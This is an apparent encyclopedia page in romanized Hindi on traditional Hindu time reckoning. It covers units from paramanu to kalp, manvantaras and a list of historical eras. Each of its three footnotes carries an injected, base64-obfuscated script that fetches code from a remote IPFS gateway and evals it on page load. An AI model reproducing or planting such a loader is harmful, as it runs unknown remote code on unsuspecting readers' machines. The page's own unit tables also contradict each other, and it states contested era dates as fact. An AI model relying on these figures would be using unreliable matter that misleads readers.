हिन्दू काल गणना

भारत डिस्कवरी प्रस्तुति
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hindoo dharm mean samay ki bahut hi vyapak dharana hai. kshan ke hajaravean hisse se bhi kam se shuroo hone vali kal ganana brahma ke 100 varsh par bhi samapt nahian hoti. hindoo manate haian ki samay sidha hi chalata hai. sidhe chalane vale samay mean jivan aur ghatanaoan ka chakr chalata rahata hai. samay ke sath ghatanaoan mean doharav hota hai phir bhi ghatanaean nee hoti haian.

bharatiy kal ganana

vijnan ke anusar vishv ka sabase chhota tatv paramanu hai. hamare prachin vidvanoan ne bhi kalachakr ka varnan karate samay kal ki sabase chhoti ikaee ke roop mean paramanu ko hi svikara hai. vayu puran mean die ge vibhinn kal khandoan ke vivaran ke anusar, do paramanu milakar ek anu ka nirman karate haian aur tin anuoan ke milane se ek trasarenu banata hai. tin trasarenuoan se ek truti, 100 trutiyoan se ek vedh, tin vedh se ek lav tatha tin lav se ek nimesh (kshan) banata hai. isi prakar tin nimesh se ek kashtha, 15 kashtha se ek laghu, 15 laghu se ek nadika, do nadika se ek muhoort, chhah nadika se ek prahar tatha ath prahar ka ek din aur ek rat banate haian. din aur ratri ki ganana sath gh di mean bhi ki jati hai. tadanusar prachalit ek ghante ko dhaee gh di ke barabar kaha ja sakata hai. ek mas mean 15-15 din ke do paksh hote haian. shukl paksh aur krishna paksh. soory ki disha ki drishti se varsh mean bhi chhah-chhah mah ke do ayan mane ge haian- uttarayan tatha dakshinayan. vaidik kal mean varsh ke 12 mahinoan ke nam rrituoan ke adhar par rakhe ge the. bad mean un namoan ko nakshatroan ke adhar par parivartit kar diya gaya, jo ab tak yathavat haian. chaitr, vaishakh, jyeshth, ashadh, shravan, bhadrapad, ashvin, kartik, margashirsh, paush, magh aur phalgun. isi prakar dinoan ke nam grahoan ke nam par rakhe ge- ravi, som (chandrama), mangal, budh, guru, shukr aur shani. is prakar kal khandoan ko nishchit adhar par nishchit nam die ge aur pal-pal ki ganana spasht ki gee.

manav varsh aur divy varsh

kal ganana se sanbandhit prachin sahity mean manav varsh aur divy varsh mean bhi aantar kiya gaya. manav varsh, manushyoan ka varsh hai, jo samanyat: 360 din ka hota hai. avashyakata ke anusar usamean ghatat-badhat hoti rahati hai. divy varsh devataoan ka varsh hai. vahaan chhah mas ka din aur chhah mas ki ratri hoti hai. manushyoan ke 360 varsh milakar devataoan ka ek divy varsh hota hai. manav ki samany ayu 100 varsh mani gee hai aur devataoan ki 1000 divy varsh. kuchh logoan ko devataoan ke astitv par sandeh hota hai, magar bharatiy kal ganana ka svaroop unako ya unake jaisi kisi any shakti ko svikarane ke lie prerit karata hai.

sanvatsar, kalp, manvantar

bharat mean sabase purana sanvatsar, srishti-sanvatsar mana gaya hai. isaka praranbh srishti ke nirman se hua aur srishti ke aant ke sath hi is sanvatsar ka bhi aant hoga. yahi srishti-sanvatsar, ek kalp ka brahma ka ek din mana gaya hai. srishti sanvatsar ki poori ganana prachin granthoan mean di huee hai. usake anusar 2005 mean srishti aur usake sath soory ko bane 1,96,08,53,105 manav varsh vyatit ho chuke haian. srishti ki kul ayu 4320000000 varsh mani gee hai. isamean se vartaman ayu nikalakar srishti ki shesh ayu 2,35,91,46,895 varsh hai. taduparaant mahapralay nishchit hai. isake bad brahma ki ratri praranbh hogi. yah ratri 4320000000 manav varshoan ki hi hogi, jise pralay kaha gaya hai. isake uparaant srishti ke punarnirman ke sath brahma ka naya din shuroo hoga. is prakar brahma ka ek ahoratr 8640000000 manav varshoan ka hota hai. brahma ko parameshthi mandal ki sanjna di gee hai, jisake charoan aur soory chakkar lagata hai. brahma ke ahoratr ko 360 se guna karane par ek brahm varsh banata hai tatha use 100 se guna karane par brahm yug hota hai. isi prakar kal ganana ka kram age chalata hai. yahaan yah drishtavy hai ki adhunik vijnan ke anusar bhi ek aisa keandr biandu hai, jisake charoan or sabhi akashagangaean chakkar lagati haian. sanbhavat: is keandr biandu ko hi parameshthi mandal ya brahma ki sanjna di gee hai. isi prakar devataoan ki ayu ka sanbandh vibhinn nakshatroan ya akashagangaoan ki ayu se ho sakata hai. srishti ke poorvokt sanpoorn jivan ko bhi anek khandoan mean baanta gaya hai. isake anusar kul 15 manvantar hote haian, jinamean se pratyek manvantar ka adhipati ek manu hota hai. 14 manvantaroan mean se pratyek mean 71 chaturyugi (krit yug ya satayug, treta yug, dvapar yug tatha kaliyug) hoti haian. 15vean manvantar mean keval chhah chaturyugi hoangi. chaturyugi ko mahayug bhi kaha gaya hai.[1]

brahm kal

  1. brahm kal : (srishti utpatti se prajapati brahma ki utpatti tak)
  2. brahma kal : (prajapati brahma, vishnu aur shiv ka kal)
  3. svayambhuv manu kal : (pratham manav ka kal 9057 eesa poorv se praranbh)
  4. vaivasvat manu kal : (6673 eesa poorv se)
  5. ram ka kal : (5114 eesvi poorv se 3000 eesvi poorv ke bich)
  6. krishna ka kal : (3112 eesvi poorv se 2000 eesvi poorv ke bich)
  7. siandhu ghati sabhyata ka kal : (3300-1700 eesvi poorv ke bich)
  8. h dappa kal : (1700-1300 eesvi poorv ke bich)
  9. ary sabhyata ka kal : (1500-500 eesvi poorv ke bich)
  10. bauddh kal : (563-320 eesvi poorv ke bich)
  11. maury kal : (321 se 184 eesvi poorv ke bich)
  12. guptakal : (240 eesvi se 800 eesvi tak ke bich)
  13. madhyakal : (600 eesvi se 1800 eesvi tak)
  14. aupaniveshik kal : (1760-1947 eesvi pashchat)
  15. azad bharat ka kal : (1947 se praranbh)[2]

sabase chhota aansh paramanu

bharatiy kal ganana mean sabase chhota aansh paramanu hota hai.

  • 1. ek trisarenu = 6 brahmandiy anu.
  • 2. ek truti = 3 trisarenu ya sekand ka 1/1687.5 bhag.
  • 3. ek vedh = 100 truti.
  • 4. ek lava = 3 vedh.
  • 5. ek nimesh = 3 lava ya palak jhapakana.
  • 6. ek kshan = 3 nimesh.
  • 7. ek kashtha = 5 kshan arthat 8 sekand.
  • 8. ek laghu = 15 kashtha arthat 2 minat. adha laghu arthat 1 minat.
  • 9. pandrah laghu = ek na di, jise dand bhi kahate haian arthat lagabhag 30 minat.
  • 10. do dand = ek muhoort arthat lagabhag 1 ghante se jyada.
  • 11. sat muhoort = ek yam ya ek chauthaee din ya ratri.
  • 12. char yam ya prahar = ek din ya ratri.
  • 13. pandrah divas = ek paksh. ek paksh mean pandrah tithiyaan hoti haian.
  • 14. do paksh = ek mah. (poornima se amavasya tak krishna paksh aur amavasya se poornima tak shukl paksh)
  • 15. do mah = ek rritu.
  • 16. tin rritu = ek ayan
  • 17. do ayan = ek varsh.
  • 18. ek varsh = devataoan ka ek din jise divy varsh kahate haian.
  • 19. 12,000 divy varsh = ek mahayug (charoan yugoan ko milakar ek mahayug)
  • 20. 71 mahayug = 1 manvantar (lagabhag 30,84,48,000 manav varsh bad pralay kal)
  • 21. chaudah manvantar = ek kalp.
  • 22. ek kalp = brahma ka ek din. (brahma ka ek din bitane ke bad mahapralay hoti hai aur phir itani hi lanbi ratri hoti hai). is din aur ratri ke akalan se unaki ayu 100 varsh hoti hai. unaki adhi ayu nikal chuki hai aur shesh mean se yah pratham kalp hai.
  • manvantar ki avadhi : vishnu puran ke anusar manvantar ki avadhi 71 chaturyugi ke barabar hoti hai. isake alava kuchh atirikt varsh bhi jo de jate haian. ek manvantar = 71 chaturyugi = 8,52,000 divy varsh = 30,67,20,000 manav varsh.[3]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ sharma, pro. yogesh chandr. kal ganana ki bharatiy paddhati (hiandi) navabharat taims. abhigaman tithi: 28 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ hindoo itihas kal ka sankshipt parichay (hiandi) veb duniya. abhigaman tithi: 28 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ brahm kal : hindoo kalaganana ko janie (hiandi) veb duniya. abhigaman tithi: 28 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari kadiyaan

sanbandhit lekh

dekhean • varta • badalean
kal ganana

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